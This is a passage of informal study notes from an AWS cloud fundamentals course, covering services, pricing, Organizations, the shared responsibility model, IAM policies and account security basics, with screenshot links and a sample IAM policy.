run your code and not manage or provision servers. +- **AWS Elastic Beanstalk**: a service that deploys, manages, and scales your web applications for you. +- Amazon Lightsail: a lightweight cloud platform for a simple web application. +- AWS Batch: need to run hundreds of thousands of batch workloads. +- AWS Outposts: to run AWS infrastructure in your on-premises data center. +- **Amazon Elastic Container Service(Amazon ECS)**, **Amazon Elastic Kubernetes Service(Amazon EKS)**, or **AWS Fargate**: to implement a containers or microservices architecture. +- **VMware Cloud on AWS**: You have an on-premises server virtualization platform that you want to migrate to AWS. + +![Screen Shot 2020-05-04 at 16.40.40](https://i.imgur.com/QeVxHRq.png) + +![Screen Shot 2020-05-04 at 16.48.22](https://i.imgur.com/OZehrc9.png) + + +For example +- a database application +- customers might be sending data to Amazon Elastic Compute Cloud (Amazon EC2) instances, a service in the compute category. +- These EC2 servers batch the data in one-minute increments and add an object per customer to `Amazon Simple Storage Service (Amazon S3)`, the AWS storage service you’ve chosen to use. +- then use a non relational database like `Amazon DynamoDB` to power your application, for example, to build an index so that you can find all the objects for a given customer that were collected over a certain period. +- You might run these services inside an `Amazon Virtual Private Cloud (Amazon VPC)`, which is a service in the networking category. + + +to access the broad array of services offered by AWS. +- AWS Management Console: The console provides a rich graphical interface to a majority of the features offered by AWS. +- AWS Command Line Interface (AWS CLI):The AWS CLI provides a suite of utilities that can be launched from a command script in Linux, macOS, or Microsoft Windows. +- Software development kits (SDKs): AWS provides packages that enable accessing AWS in a variety of popular programming languages. + +All three options are built on a common REST-like API that serves as the foundation of AWS. To learn more about tools you can use to develop and manage applications on AWS, + + +### the AWS Cloud Adoption Framework (AWS CAF) + +AWS CAF: +- help organizations design and travel an accelerated path to successful cloud adoption. +- provides guidance and best practices to help organizations identify gaps in skills and processes. +- helps organizations build a comprehensive approach to cloud computing—both across the organization and throughout the IT lifecycle—to accelerate successful cloud adoption. + +At the highest level, the `AWS CAF` organizes guidance into six areas of focus/perspectives: Business(business, people, governance), technical (platform, security, operations). +- Each perspective consists of a set of capabilities, which covers distinct responsibilities that are owned or managed by functionally related stakeholders. +- Capabilities within each perspective are used to identify which areas of an organization require attention. By identifying gaps, prescriptive work streams can be created that support a successful cloud journey. + +1. Stakeholders from the `Business` perspective + - (business/finance managers, budget owners, and strategy stakeholders) + - can use the AWS CAF to create a strong business case for cloud adoption and prioritize cloud adoption initiatives. + - *ensure that business strategies and goals align with its IT strategies and goals*. + +2. Stakeholders from the `People` perspective + - (human resources, staffing, and people managers: `resource/incentive/career/training/organization change management`) + - can use the AWS CAF *to evaluate organizational structures and roles, new skill and process requirements, and identify gaps*. + - Performing an analysis of needs and gaps can help prioritize training, staffing, and organizational changes to build an agile organization. + +3. Stakeholders from the `Governance` perspective + - (the Chief Information Officer, CIO, program managers, enterprise architects, business analysts, and portfolio managers: `portfolio/program and project/business performance/license management`) + - can use the AWS CAF to *focus on the skills and processes that are needed to align 使结盟 IT strategy* and goals with business strategy and goals. + - This focus helps the organization maximize the business value of its IT investment and minimize the business risks. + +4. Stakeholders from the `Platform` perspective + - (Chief Technology Officer, CTO, IT managers, solutions architects: `compute/network/storage/database provisioning, systems and solution architecture, application development`) + - use a variety of architectural dimensions and models to *understand and communicate the nature of IT systems and their relationships*. + - They must be able to describe the architecture of the target state environment in detail. The AWS CAF includes principles and patterns for implementing new solutions on the cloud, and for migrating on-premises workloads to the cloud. + +5. Stakeholders from the `Security` perspective + - (Chief Information Security Officer, CISO, IT security managers/analysts: `identity and access management, detective control, infrastructure security, data protection, incident response`) + - must *ensure that the organization meets security objectives* for visibility, audit ability, control, and agility. + - can use the AWS CAF to structure the selection and implementation of security controls that meet the organization’s needs. + +6. Stakeholders from the `Operations` perspective + - (IT operations/support managers: `service monitoring, application performance monitoring, resource inventory management, release/change management, reporting and analytics, business continuity/disaster recovery, IT service catalog`) + - define how day-to-day, quarter-to-quarter, and year-to-year business is conducted. + - Stakeholders from the Operations perspective align with and support the operations of the business. The AWS CAF helps these stakeholders *define current operating procedures*. + - It also helps them identify the process changes and training that are needed to implement successful cloud adoption. + + +--- + +## Module 2 Overview + +### fundamentals of pricing + +In most cases, no charge for `inbound data transfer` or for data transfer between other AWS services within the same AWS Region. +`Outbound data transfer `is aggregated across services and then charged at the outbound data transfer rate. +- This charge appears on the monthly statement as AWS Data Transfer Out. + +Pay for what you use +Pay less when you reserve/use more/as AWS grows +pay only for the services that you consume with no large upfront expenses. +lower variable costs, +All AWS services are available on demand, require no long-term contracts, and have no complex licensing dependencies. + +![Screen Shot 2020-05-04 at 20.20.01](https://i.imgur.com/Wt4pZqj.png) + +--- + +### TCO total cost of owernship + +![Screen Shot 2020-05-04 at 20.21.10](https://i.imgur.com/YuUNMPO.png) + +TCO +- `the cost of a service, plus all the costs that are associated with owning the service`. +- In the cloud environment, TCO is used for comparing the costs of `running an entire infrastructure environment for a specific workload in an on-premises or collocation facility`, to the same workload `running on a cloud-based infrastructure`. + +![Screen Shot 2020-05-04 at 20.23.35](https://i.imgur.com/QkeAe7u.png) + + +### AWS organizations + +![Screen Shot 2020-05-04 at 21.15.44](https://i.imgur.com/ldAOLXn.jpg) + +structure of AWS Organizations. +- a basic organization, or root +- seven accounts, organized into four organizational units (OUs). + - An OU is a `container for accounts` within a root. + - An OU can also contain other OUs. +- attach a policy to one of the nodes in the hierarchy, it flows down and it affects all the branches and leaves. +- An OU can have only one parent and each account can be a member of exactly one OU. +- An account is a standard AWS account that contains your AWS resources. +- You can attach a policy to an account to apply controls to only that one account + +![Screen Shot 2020-05-04 at 21.21.09](https://i.imgur.com/xFQwzro.png) + +AWS Organizations enables you to: +- `policy-based account management`: Create `service control policies (SCPs)` that centrally control AWS services across multiple AWS accounts. +- `group-based account management`: Create groups of accounts and then attach policies to a group to ensure that the correct policies are applied across the accounts. +- Simplify account management by using `application programming interfaces (APIs)` to automate the creation and management of new AWS accounts. +- Simplify the billing process, set up a single payment method for all the AWS accounts in organization. With `consolidated billing`, see a combined view of charges off all accounts, and you can take advantage of pricing benefits from aggregated usage. `Consolidated billing` provides a central location to manage billing across all of your AWS accounts, and the ability to benefit from volume discounts. + + +AWS Organizations does not replace associating `AWS Identity and Access Management (IAM) policies` with users, groups, and roles within an AWS account. + - With IAM policies, you can allow or deny access to AWS services(such as Amazon S3), individual AWS resources(such as a specific S3 bucket), or individual API actions(such as s3:CreateBucket). + - An IAM policy can be applied only to IAM users, groups, or roles, and *can never restrict the AWS account root user*. + +In contrast, with Organizations, you use `service control policies (SCPs)` to allow or deny access to particular AWS services for individual AWS accounts or for groups of accounts in an OU. + - The specified actions from an attached SCP affect *all IAM users, groups, and roles for an account, including the AWS account root user*. + +![Screen Shot 2020-05-04 at 23.07.24](https://i.imgur.com/3A0C5If.png) + + +### access AWS Organizations + +![Screen Shot 2020-05-04 at 23.09.10](https://i.imgur.com/fopYerU.png) + +- AWS `Management Console`: a browser-based interface that you can use to manage your organization and your AWS resources. You can perform any task in your organization by using the console. +- AWS `Command Line Interface(AWS CLI)` tools enable you to issue commands at your system's command line to perform AWS Organizations tasks and AWS tasks. faster and more convenient than using the console. +- AWS `software development kits (SDKs)`: to handle tasks such as cryptographically signing requests, managing errors, and retrying requests automatically. AWS SDKs consist of libraries and sample code for various programming languages and platforms (Java, Python, Ruby, .NET, iOS, and Android). +- AWS `Organizations HTTPS Query API`: gives you programmatic access to AWS Organizations and AWS. use the API to issue HTTPS requests directly to the service. When you use the HTTPS API, you must include code to digitally sign requests by using your credentials. + +### billing and cost management + +From the billing dashboard, you can access several other cost management tools that you can use to estimate and plan your AWS costs.These tools include AWS Bills, AWS Cost Explorer, AWS Budgets, and AWS Cost and Usage Reports + + +### Reserved Instances (RIs) + +Save Money and Maintain Flexibility + +Right sizing is the most effective way to control cloud costs. +- involves `continually analyzing` instance performance and usage needs and patterns +- then `turning off idle instances` and `right sizing instances` that are either over provisioned or poorly matched to the workload. +- resource needs are always changing, `right sizing` must become an ongoing process to continually achieve cost optimization. + - make `right sizing` a smooth process by establishing a `right-sizing schedule` for each team, enforcing tagging for all instances, and taking full advantage of the powerful tools that AWS provide to resource monitoring and analysis. + + +For certain services like Amazon EC2 and Amazon RDS, you can invest in reserved capacity. +- save up to 75% over equivalent on-demand capacity. +- buy Reserved Instances, the larger the upfront payment, the greater the discount. +- can minimize risks, more predictably manage budgets, and comply with policies that require longer-term commitments. + +- Reserved Instances are available in 3 options + - `All up-front (AURI)`: receive the largest discount. + - `partial up-front (PURI)`: lower discounts but to spend less up front. + - `no upfront payments (NURI)`: receive a smaller discount, but allowing you to free up capital to spend in other projects. + + +### aws Support + +- proactive guidance: + - TAM: Technical account manager: via the enterprise support plan. +- best practices: + - `AWS Trusted Advisor`: auto service, during implement ells right and problems. +- account assistance: + - `AWS support concierge` 门房: non-tech billing and account level inquiries. + +![Screen Shot 2020-05-05 at 00.28.49](https://i.imgur.com/yDZH3Qz.jpg) + + +--- + +## Module 3 Overview + +### AWS Regions, Availability Zones, and edge locations + +![Screen Shot 2020-05-05 at 02.03.41](https://i.imgur.com/sOqGghh.png) + +use the `AWS management console` to enable or disable the region. + +![Screen Shot 2020-05-05 at 02.10.02](https://i.imgur.com/5QMqWup.png) + +![Screen Shot 2020-05-05 at 02.11.18](https://i.imgur.com/p2O3jYq.jpg) + +AWS uses custom networking equipment source from multiple `original device manufactures ODMs` + +![Screen Shot 2020-05-05 at 02.16.53](https://i.imgur.com/EuRHTXS.png) + +`Amazon CloudFront` is a content delivery network(CDN) used to distribute content to end users to reduce latency. Amazon Route 53 is a Domain Name System (DNS) service. Requests going to either one of these services will be routed to the nearest edge location automatically in order to lower latency. +AWS `Points of Presence` are located in most of the major cities (69 cities in total) across 30 countries around the world. By continuously measuring internet connectivity, performance and computing to find the best way to route requests, the Points of Presence deliver a better near real-time user experience. They are used by many AWS services, including Amazon CloudFront, Amazon Route 53, AWS Shield, and AWS Web Application Firewall (AWSWAF) services. `Regional edge caches` are used by default with Amazon CloudFront. are used when you have content that is not accessed frequently enough to remain in an edge location. Regional edge caches absorb this content and provide an alternative to that content having to be fetched from the origin serve + +![Screen Shot 2020-05-05 at 02.19.39](https://i.imgur.com/IL9c1Cy.jpg) + +### AWS services and service categories + +![Screen Shot 2020-05-05 at 02.21.20](https://i.imgur.com/qZvY9bq.png) + +#### AWS Storage + +![Screen Shot 2020-05-05 at 02.24.22](https://i.imgur.com/TCkfBd0.png) + +`Amazon Simple Storage Service (Amazon S3)` is an object storage service that offers scalability, data availability, security, and performance. Use it to store and protect any amount of data for websites, mobile apps, backup and restore, archive, enterprise applications, Internet of Things (IoT) devices, and big data analytics. +`Amazon Elastic Block Store (Amazon EBS)`is high-performance block storage that is designed for use with Amazon EC2 for both throughput and transaction intensive workloads. It is used for a broad range of workloads, such as relational and non-relational databases, enterprise applications, containerized applications, big data analytics engines, file systems, and media workflows. +`Amazon Elastic File System (Amazon EFS)` provides a scalable, fully managed elastic Network File System (NFS) file system for use with AWS Cloud services and on-premises resources. It is built to scale on demand to petabytes, growing and shrinking automatically as you add and remove files. It reduces the need to provision and manage capacity to accommodate growth. +`Amazon Simple Storage Service Glacier` is a secure, durable, and extremely low-cost Amazon S3 cloud storage class for data archiving and long-term backup. It is designed to deliver 11 9s of durability, and to provide comprehensive security and compliance capabilities to meet stringent regulatory requirements + +#### AWS compute + +![Screen Shot 2020-05-05 at 02.24.43](https://i.imgur.com/L6z7C7o.jpg) + +- `Amazon Elastic Compute Cloud (Amazon EC2)` provides resizable compute capacity as virtual machines in the cloud. +- `Amazon EC2 Auto Scaling`: automatically add or remove EC2 instances according to conditions that you define. +- `Amazon Elastic Container Service (Amazon ECS)` is a highly scalable, high-performance container orchestration service that supports Docker containers. +- `Amazon Elastic Container Registry (Amazon ECR)` is a fully-managed Docker container registry that makes it easy for developers to store, manage, and deploy Docker container images. +- `AWS Elastic Beanstalk` is a service for deploying and scaling web applications and services on familiar servers such as Apache and Microsoft Internet Information Services (IIS). +- `AWS Lambda` enables you to run code without provisioning or managing servers. You pay only for the compute time that you consume. There is no charge when your code is not running. +- `Amazon Elastic Kubernetes Service (Amazon EKS)` makes it easy to deploy, manage, and scale containerized applications that use Kubernetes on AWS. +- `AWS Fargateis` a compute engine for Amazon ECS, to run containers without having to manage servers or clusters. + +#### AWS database + +![Screen Shot 2020-05-05 at 02.32.32](https://i.imgur.com/zDf1oWI.png) + +- `Amazon Relational Database Service (Amazon RDS)` makes it easy to set up, operate, and scale a relational database in the cloud. It provides resizable capacity while automating time-consuming administration tasks such as hardware provisioning, database setup, patching, and backups. +- `Amazon Aurora` is a MySQL and PostgreSQL-compatible relational database. up to 5 times faster than standard MySQL databases and 3 times faster than standard PostgreSQL databases. +- `Amazon Redshift` run analytic queries against petabytes of data that is stored locally in Amazon, and directly against exabytes of data that are stored in Amazon S3. It delivers fast performance at any scale. +- `Amazon DynamoDB` is a key-value and document database that delivers single-digit millisecond performance at any scale, with built-in security, backup and restore, and in-memory caching + +#### AWS networking and content delivery + +![Screen Shot 2020-05-05 at 02.35.39](https://i.imgur.com/BPB6Oab.png) + +- `Amazon Virtual Private Cloud (Amazon VPC)` to provision logically isolated sections of the AWS Cloud. +- `Elastic Load Balancing` automatically distributes incoming application traffic across multiple targets, such as Amazon EC2 instances, containers, IP addresses, and Lambda functions. +- `Amazon CloudFront` is a fast content delivery network (CDN) service that securely delivers data, videos, applications, and application programming interfaces (APIs) to customers globally, with low latency and high transfer speeds. +- `AWS Transit Gateway` a service that enables customers to connect their Amazon `Virtual Private Clouds (VPCs)` and their on-premises networks to a single gateway. +- `Amazon Route 53`is a scalable cloud Domain Name System (DNS) web service designed to give you a reliable way to route end users to internet applications. It translates names (like www.example.com) into the numeric IP addresses (like 192.0.2.1) that computers use to connect to each other. +- `AWS Direct Connect` provides a way to establish a dedicated private network connection from your data center or office to AWS, reduce network costs and increase bandwidth throughput. +- `AWS VPN` provides a secure private tunnel from your network or device to the AWS global network. + +#### AWS security, identity and compliance + +![Screen Shot 2020-05-05 at 02.39.54](https://i.imgur.com/cB2DuX1.png) + +- `AWS Identity and Access Management (IAM)` enables you to manage access to AWS services and resources securely. By using IAM, you can create and manage AWS users and groups. You can use IAM permissions to allow and deny user and group access to AWS resources. +- `AWS Organizations` allows you to restrict what services and actions are allowed in your accounts. +- `Amazon Cognito` lets you add user sign-up, sign-in, and access control to your web and mobile apps. +- `AWS Artifact` provides on-demand access to AWS security and compliance reports and select online agreements. +- `AWS Key Management Service (AWS KMS)` to create and manage keys. to control the use of encryption across a wide range of AWS services and in your applications. +- `AWS Shield` is a managed Distributed Denial of Service (DDoS) protection service that safeguards applications running on AWS + +#### AWS cost management + +![Screen Shot 2020-05-05 at 02.41.27](https://i.imgur.com/C4kLRBa.png) + +- `The AWS Cost and Usage Report` contains the most comprehensive set of AWS cost and usage data available, including additional metadata about AWS services, pricing, and reservations. +- `AWS Budgets` set custom budgets alert when your costs or usage exceed (or are forecasted to exceed) your budgeted amount. +- `AWS Cost Explorer` has an easy-to-use interface that enables you to visualize, understand, and manage AWS costs and usage over time + +#### AWS management and governance + +![Screen Shot 2020-05-05 at 02.42.12](https://i.imgur.com/OH8WNTH.jpg) + +- `The AWS Management Console` provides a web-based user interface for accessing your AWS account. +- `AWS Config` provides a service that helps you track resource inventory and changes. +- `Amazon CloudWatch` allows you to monitor resources and applications. +- `AWS Auto Scaling` to scale multiple resources to meet demand. +- `AWS Command Line Interface` provides a unified tool to manage AWS services. +- `AWS Trusted Advisor` helps you optimize performance and security. +- `AWS Well-Architected Tool` provides help in reviewing and improving your workloads. +- `AWS CloudTrail` tracks user activity and API usage + +--- + +## Module 4 Overview + +### AWS shared responsibility model + +AWS shared responsibility model + +![Screen Shot 2020-05-05 at 13.07.00](https://i.imgur.com/gOOD7zI.png) + +![Screen Shot 2020-05-05 at 13.16.04](https://i.imgur.com/KDijCLE.png) + +**AWS**: security “of” the cloud +- operates, manages, and controls the components from the `bare metal host operating system and hypervisor virtualization layer` down to the `physical security of the facilities` where the services operate. +- responsible for protecting the infrastructure that runs all the services offered in the AWS Cloud. +- The *global infrastructure* includes `AWS Regions, Availability Zones, and edge locations`. +- This *physical infrastructure*: + - `Physical security of data centers` controlled, need-based access; nondescript facilities, 24/7 security guards; two-factor authentication; access logging and review; video surveillance; and disk degaussing and destruction. + - `Hardware infrastructure` servers, storage devices, appliances that AWS relies on. + - `Software infrastructure`, which hosts operating systems, service applications, and virtualization software. + - `Network infrastructure`, such as routers, switches, load balancers, firewalls, and cabling. AWS also continuously monitors the network at external boundaries, secures access points, and provides redundant infrastructure with intrusion detection. + +![Screen Shot 2020-05-05 at 13.16.51](https://i.imgur.com/mglqjcX.png) + +**customer**: security “in” the cloud +- When customers use AWS services, they maintain complete control over their content. +- the *configuration of security groups/operating system* that run on compute instances (including updates and patches). secure account management. +- securing the applications that are launched on AWS resources, +- the *encryption* of data at rest and data in transit. +- ensure the *network* is configured for security, security credentials and logins are managed safely. firewall configurations, network configurations +- managing *critical content security requirements*: What content they choose to store on AWS•Which AWS services are used with the content•In what country that content is stored•The format and structure of that content and whether it is masked, anonymized, or encrypted•Who has access to that content and how those access rights are granted, managed, and revoked +- Customers retain control of *what security they choose to implement* to protect their own data, environment, applications, IAM configurations, and operating systems. + +IaaS: `Amazon EC2`, `amazon Elastic Block Store(EBS)`, `Amazon Virtual Private Cloud(VPC)` +PaaS: `AWS Lambda`, `Amazon relational database service(RDS)`, `Amazon elastic Beanstalk` +SaaS: `AWS trusted advisor`, `AWS shield`, `Amazon chime` + +![Screen Shot 2020-05-05 at 13.37.03](https://i.imgur.com/Akucjg2.png) + +![Screen Shot 2020-05-05 at 13.36.28](https://i.imgur.com/2vVuFyK.png) + + +customers +- updates and patched OS / Oracleon in EC2 instances +- EC2 security group setting +- configuration of App / S3 buckekt access / subnet / VPC / Authentication for account user login +- secure SSH keys + +AWS: +- physical.. / virtulization infrastructure / against outage / network isolation between customer / low lantency connection between web server and S3 buckekt +- updates and patched Oracleon in RDS Instances +- sercure AWS management console + +### AWS Identity and Access Management (IAM) + +- a tool that `centrally manages access` to `launching, configuring, managing, and terminating resources` in your AWS account. +- provides granular control over access to resources, including the ability to specify exactly which `API calls` the user is authorized to make to each service. + - for AWS Management Console, AWS CLI, or AWS software development kits (SDKs), every call to an AWS service is an API call. +- grant different permissions to different people for different resources. `who, which, how` +- feature of your AWS account, and it is offered at no additional charge. + +essential components +- `IAM user`: a person/application that is defined in an AWS account, and that must make API calls to AWS products. + - Each user must have a unique name (no spaces in name) within the AWS account, and a set of security credentials. These credentials are different from the AWS account root user security credentials. Each user is defined in one and only one AWS account. +- `IAM group`: a collection of IAM users. use IAM groups to simplify specifying and managing permissions for multiple users. +- `IAM policy`: a document that defines permissions to determine what users can do in the AWS account. A policy typically grants access to specific resources to user / explicitly deny access. +- `IAM role`: a tool for granting `temporary access to specific AWS resources` in an AWS account. only selected users or applications. + +#### authenticate as an IAM user + +how the user is permitted to use to access AWS resources. +- 2 types: `programmatic access` and `AWS Management Console access`. only or both +- **programmatic access**: + - `access key ID` and a `secret access key` + - to make an `AWS API call` by AWS CLI/AWS SDK/other development tool. +- **AWS Management Console access** + - browser login window. + - 12-digit account ID / corresponding account alias. + - IAM user name and password. + - If `multi-factor authentication (MFA)` is enabled: an authentication code. + - With MFA, users and systems must provide an `MFA token` + the regular sign-in credentials, before access AWS services and resources. + - generating the MFA authentication token: + - `virtual MFA-compliant applications`(Google Authenticator / Authy 2-Factor Authentication...), + - `U2F security key devices` (Yubikey) + - `hardware MFA devices` (Gemalto) + - ![Screen Shot 2020-05-05 at 14.11.46](https://i.imgur.com/dwVKXzD.png) + +#### IAM policy + +By default, IAM users do not have permissions to any resources / data in AWS account. +- must explicitly grant permissions to a user/group/role by creating a IAM `policy` + +IAM `policy` +- a document in `JavaScript Object Notation (JSON)` format +- lists permissions that allow / deny access to resources in the AWS account. +- principle of least privilege +- the scope of the IAM service configurations is global. The settings are not defined at an AWS Region level. IAM settings apply across all AWS Regions. +- When there is a conflict, the most restrictive policy applies. +- allow vs deny: deny win. + +2 types of IAM policy: +1. **Identity-based policies** + - permissions policies that attach to a `principal/identity (IAM user/role/group)`. control what actions that identity can perform, on which resources, and under what conditions. + - Identity-based policies categorized: + - **Managed policies** – prebuild, Standalone identity-based policies that can attach to multiple users/groups/roles in AWS account + - **Inline policies** – Policies embedded directly to a single user/group/role + +2. **Resource-based policies** + - JSON policy documents that you attach to a `resource (S3 bucket...)`. control what actions a specified principal can perform on that resource, and under what conditions. + - `inline only`: define the policy on the resource itself, instead of creating a separate IAM policy document that you attach. + - For example + - create an S3 bucket policy (a type of resource-based policy) on an S3 bucket -> the bucket -> Permissions tab -> Bucket Policy button -> define the JSON-formatted policy document there. + - An Amazon S3 access control list (ACL) is another example of a resource-based policy + +3. **identity-based policy**. + - An IAM policy that grants access to the S3 bucket is attached to the MaryMajor user. + +4. **resource-based policy**. + - The S3 bucket policy for the photos bucket specifies that the user MaryMajor is allowed to list and read the objects in the bucket. + - An explicit deny statement will always take precedence over any allow statement. + - could define a deny statement in a bucket policy to restrict access to specific IAM users, even if the users are granted access in a separate identity-based policy. + +pic + +`explicit denial policy -> explicit allow policy -> deny` + +pic + + +1. "Version": "2012-10-17", +2. "Statement": [ ] + - "Action": [ ] + - ec2: + - "ec2:`Describe*`", + - "ec2:StartInstances", + - "ec2:StopInstances" + - s3 + - "s3:Get*", + - "s3:List*" + - elasticloadbalancing: + - "elasticloadbalancing:Describe*", + - cloudwatch: + - "cloudwatch:ListMetrics", + - "cloudwatch:GetMetricStatistics", + - "cloudwatch:Describe*" + - autoscaling: + - "autoscaling:Describe*", + - "Resource": `"*"`, + - "Effect": "Allow" + + +```JSON +{ + "Version": "2012-10-17", + "Statement": [ + + { + "Effect": "Allow", + "Action": [ + "s3:Get*", + "s3:List*" + ], + "Resource": "*" + } + + { + "Action": [ + "ec2:Describe*", + "ec2:StartInstances", + "ec2:StopInstances" + ], + "Resource": "*", + "Effect": "Allow" + }, + + { + "Action": "elasticloadbalancing:Describe*", + "Resource": "*", + "Effect": "Allow" + }, + + { + "Action": [ + "cloudwatch:ListMetrics", + "cloudwatch:GetMetricStatistics", + "cloudwatch:Describe*" + ], + "Resource": "*", + "Effect": "Allow" + }, + { + "Action": "autoscaling:Describe*", + "Resource": "*", + "Effect": "Allow" + } + ] +} +``` + + + +#### IAM group +Important characteristics of IAM groups: +- A group can contain many users, and a user can belong to multiple groups. +- Groups cannot be nested. A group can contain only users, and a group cannot contain other groups. +- There is no default group that automatically includes all users in the AWS account. group with all account users in it, you need to create the group and add each new user to it.A + +#### IAM roles +- an IAM identity in account that has specific permissions. +- similar to IAM user, also an AWS identity that can attach permissions policies to, determine what the identity can/cannot do in AWS. +- but instead of being uniquely associated with one person, a role is intended to be assumable by anyone who needs it. + - does not have standard long-term credentials (password/access keys associated with it...) + - assume a role, the role provides temporary security credentials for role session. +- use roles to delegate 托付 access to users/app/services that do not normally have access to your AWS resources. + - For example + - grant users in your AWS account access to resources don't usually have, or grant users in one AWS account access to resources in another account. + - Or allow a mobile app to use AWS resources, but you do not want to embed AWS keys within the app (difficult to rotate and can potentially extract). + - grant AWS access to users who already have identities that are defined outside of AWS, such as in your corporate directory. + - Or, to grant access to your account to third parties to perform an audit on your resources. + - For all of these example use cases, IAM roles are an essential component to implementing the cloud deployment. + +![Screen Shot 2020-05-05 at 14.45.29](https://i.imgur.com/ilJwlvj.png) + +### Securing accounts + +first create an AWS account, begin with a `single sign-in identity` that has complete access to all AWS services and resources in the account. the `AWS account root user` +- it is accessed by signing into the AWS Management Console with the email address and password +- have (and retain) full access to all resources in the account. +- do not use account root user credentials for day-to-day interactions with the account. + +step 1: stop using the account root user + - create an IAM user for yourself with AWS Management Console access enabled (do not attach any permissions to the user yet). Save the IAM user access keys if needed. + - create an IAM group, give it a name (such as FullAccess), and attach IAM policies to the group that grant full access to at least a few of the services you will use. + - add the IAM user to the group. + - Disable and remove your account root user access keys, if they exist. + - Enable a password policy for all users. Copy the IAM users sign-in link from the IAM Dashboard page. Then, sign out as the account root user. + - Browse to the IAM users sign-in link that you copied, and sign in to the account by using your new IAM user credentials. + - Store your account root user credentials in a secure place. + +step2: enable multi-factor authentication (MFA) + - for the root/other IAM user logins. + - You can also use MFA to control programmatic access. + - for retrieving the MFA token needed to log in when MFA is enabled: `virtual MFA-compliant applications` (such as Google Authenticator and Authy Authenticator), `U2F security key devices`, and `hardware MFA options` that provide a key fob or display card. + +step 3: AWS CloudTrail +- a service that logs all API requests to resources in your account. enables operational auditing on account. +- enabled by default on all AWS accounts +- keeps record of the last 90 days of account management event activity. create, modify, and delete operations of services that are supported by CloudTrail without needing to manually create another trail. + +To enable CloudTrail log retention beyond the last 90 days and to enable alerting whenever specified events occur, create a new trail (which is described at a highlevel on the slide). + +![Screen Shot 2020-05-05 at 16.33.42](https://i.imgur.com/D7DLTrs.png) + +setp 4: enable billing report + + +#### AWS Organizations +an account management service that enables you to consolidate multiple AWS accounts into an organization and centrally manage. +- group accounts into organizational units(OUs) and attach different access policies to each OU. +- integrates with and supports IAM. +- provides `service control policies (SCPs)` +- on OU can have different account inside. + + +#### Service control policies (SCPs) +- offer central control over the `maximum available permissions` for all accounts in your organization, ensure that accounts stay in organization’s access control guidelines. +- SCPs are available only in an organization that has all features enabled, including consolidated billing. +- similar to IAM permissions policies + - almost the same syntax. + - However, SCP never grants permissions. but JSON policies that `specify the maximum permissions` for an organization or OU. +- Attaching an SCP to the organization root/organizational unit (OU) defines a safeguard for the actions that accounts in the organization root or OU can do. +- not a substitute for well-managed each account. still attach IAM policies to users and roles in organization's accounts to actually grant permissions to them. + +#### AWS Key Management Service (AWS KMS) +- a service to *create and manage encryption keys*, *control the encryption* across a wide range of AWS services and applications. +- a secure and resilient service that uses hardware security modules (HSMs) that were validated under Federal Information ProcessingStandards (FIPS) 140-2 to protect your keys. +- integrates with `AWS CloudTrail` to logs of all key usage +- `Customer master keys (CMKs)` are used to control access to data encryption keys that encrypt and decrypt your data. + - create new master keys when you want, manage who has access to these key, which services they can be used with. + - can also import keys from your own key management infrastructure into AWS KMS. AWS KMS integrates with most AWS services, which means that you can use AWS KMS master keys to control the encryption of the data that you store in these services. + +#### Amazon Cognito +- control access to AWS resources from your application. + - define roles and map users to different roles, so application can access only the resources that are authorized for each user. +- uses common identity management standards, such as Security Assertion Markup Language (SAML) 2.0. + - SAML: open standard for exchanging identity and security information with applications and service providers. + - Applications and service providers that support SAML enable you to sign in by using your corporate directory credentials (user name and password from Microsoft Active Directory) + - With SAML, you can use single sign-on (SSO) to sign in to all of your SAML-enabled applications by using a single set of credentials. +- meet multiple security and compliance requirements, including requirements for highly regulated organizations such as healthcare companies and merchants. + - eligible for use with the US Health Insurance Portability and Accountability Act (HIPAA). + - for workloads that are compliant with the Payment Card IndustryData Security Standard(PCI DSS); theAmerican Institute of CPAs (AICPA) Service Organization Control (SOC); the International Organization for Standardization (ISO) and International Electrotechnical Commission (IEC) standardsISO/IEC 27001,ISO/IEC 27017, and ISO/IEC 27018; andISO 9001 + +#### AWS Shield +- a managed distributed denial of service (DDoS) protection service that safeguards applications that run on AWS. +- provides always-on detection and automatic inline mitigations that minimize application downtime and latency, no need to engage AWS Support to benefit from DDoS protection. + - helps protects your website from all types of DDoS attacks, including Infrastructure layer attacks (like UserDatagram Protocol—or UDP—floods), state exhaustion attacks (like TCP SYN floods), and application-layer attacks (like HTTP GET or POST floods). +- auto enabled at no additional cost. + - AWS Shield Advanced: optional paid service. + - provides additional protections against more sophisticated and larger attacks for your applications that run on Amazon EC2, Elastic Load Balancing, Amazon CloudFront, AWS Global Accelerator, and Amazon Route 53. + - available to all customers. However, to contact the DDoS Response Team, customers need to have either Enterprise Support or Business Support from AWS Support. + + +### secure AWS data +Data encryption is an essential tool to protect digital data. + +**data at rest** +- create encrypted file systems on AWS so that all your data and metadata is encrypted at rest by AdvancedEncryption Standard (AES)-256 encryption algorithm. + +**data in transit** +- by using Transport Layer Security (TLS) 1.2 with an open standard AES-256 cipher. + - `AWS Certificate Manager`: service to provision, manage, and deploy SSL/TLS certificates for use with AWS services and internal connected resources. +- traffic runs over Secure HTTP (HTTPS) is encrypted by using TLS or SSL. + - protected against eavesdropping and man-in-the-middle attacks as bidirectional encryption of the communication. + +![Screen Shot 2020-05-05 at 17.12.22](https://i.imgur.com/g9a4e71.png) + +Amazon S3 buckets +- Amazon S3 buckets are private and can be accessed only by users who are explicitly granted access. +- when share data onS3 + - It is essential to manage and control access to Amazon S3 data. +- tools and options for controlling access to your S3 buckets or objects, + - `Amazon S3 Block Public Access`. These settings override any other policies or object permissions. Enable Block Public Access for all buckets that not publicly accessible. avoiding unintended exposure of Amazon S3 data. + - `IAM policies`: specify the users or roles that can access specific buckets and objects. + - `bucket policies`: define access to specific buckets or objects. typically used when the user/system cannot authenticate by using IAM. Bucket policies can be configured to grant access across AWS accounts or to grant public or anonymous access to Amazon S3 data. + - bucket policies should be written carefully and tested fully. + - specify a deny statement in a bucket policy to restrict access. Access will be restricted even if the users have permissions that are granted in an identity-based policy that is attached to the users. + - `Setting access control lists (ACLs)` on your buckets and objects. ACLs are less commonly used (ACLs predate IAM). If you do use ACLs, do not set access that is too open or permissive. + - `AWS Trusted Advisor` provides a bucket permission check feature for discovering if any of the buckets in your account have permissions that grant global access. + +### AWS compliance programs + +AWS engages with external certifying bodies and independent auditors to provide customers with information about the policies, processes, and controls that are established and operated by AWS. + +![Screen Shot 2020-05-05 at 17.37.51](https://i.imgur.com/v3zXuMZ.png) + +**AWS Config** +- service to assess, audit, and evaluate the configurations of your AWS resources. + - continuously monitors and records your AWS resource configurations + - automate the evaluation of recorded configurations against desired configurations. + - review changes in 